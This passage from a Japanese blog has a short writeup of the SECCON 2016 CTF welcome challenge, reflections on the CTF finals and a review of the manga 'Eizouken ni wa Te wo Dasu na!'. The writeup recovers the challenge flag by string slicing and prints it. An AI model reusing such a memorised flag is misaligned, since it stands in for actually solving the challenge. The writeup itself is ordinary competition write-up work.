YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY

このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。

そこでYYYY……をaとして a[::16] としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY} になり、 a[::16][1::2] すると SECCON{NOT_A_FLAG} とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016} が得られました。

writeup以外のこと

数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。

学生チームとそれ以外のチームの力量差がありすぎてだめですね(dodododoは強かったのですごい)。まるで手が出ないので辛いし、終わったあとの懇親会でも話ができない(特に外国のチームなんかだと、話題は競技のことしかないのにレベルが違いすぎて話にならない)。自分が雑魚なのを棚に上げて言えば別れてたほうが心が辛くないです(まるで歯が立たなくて上を見るだけになったので、そういう意味ではいい経験だった)。

懇親会で高知高専の佐藤先生と少しだけお話した。高専セクコンという大会の運営とかをされていて高専でセキュリティまわりに尽力している人というイメージ。高専セクコンはとても良い試みだったし今年も開催してほしいのでその話をちょっとしたことをここに改めて書いておきます。

もっと精進しなければならない(画像は、今回の名札。立ち上がるときに机なんかにひっかかるインシデントがあったので硬い素材は名札に向かないことがわかった)。

映像研には手を出すな!

kosen14s読書会2ndは私が読んだ本をブログに書くための理由ということになりつつあります

kosen14s.github.io

(ブログに書いたのが読んだ本のすべてというわけでなく、布教したいような本をのっけてます。最近読んだのは「いなくなれ、群青」で、思ってたほどに重くありませんでした

いなくなれ、群青 (新潮文庫nex)

いなくなれ、群青 (新潮文庫nex)

閑話休題。今回とりあげるのは漫画で大童澄瞳(おおわらすみと)の「映像研には手を出すな!」です。今日出たばっかりのやつです。インターネットのどこかで一話が無料公開されていたので、それを読んで「これは買おう」と思ってました。作者さんのTwitterでも引っ張ってこようかと思ったけど転載不可って書かれていて、私は転載と引用の差をしらないのでつまり作者さんのTwitterあたりから辿ってください。この漫画の重要なファクタは全部一話にとりあえず入ってる気がするので一話を読んでみて面白かったらきっと続きも面白いでしょう。

映像研には手を出すな! 1 (ビッグコミックス)

映像研には手を出すな! 1 (ビッグコミックス)

このまんが、お話としては、アニメを作りたい女の子と女の子がであって最高にわくわくするという話なんですが、そのわくわくって私が憧れたり求めてたりしたものの一つで、読みたいお話なわけです。純粋に自分の想像妄想の世界を楽しめる、実現再現しようとしている、そんな様子は読んでいてとても楽しい気持ちにさせてくれます。

それから、大きな特徴があって、「セリフにパースがかかってる」とか「非現実の世界に入り込んだかと思えば現実が動いている」とか「最高に楽しいつくりこみがある」とか、なんというかわかりやすく「ただものじゃない」シグナルを出してくれてます。それが、一発屋のようには終わらなくて、ちゃんとアクションとかストーリーとか掛け合いと噛み合ってるのでずっと面白いです。

これだけわかりやすく面白くて尖っているので、気になった人は手にとってみてほしいです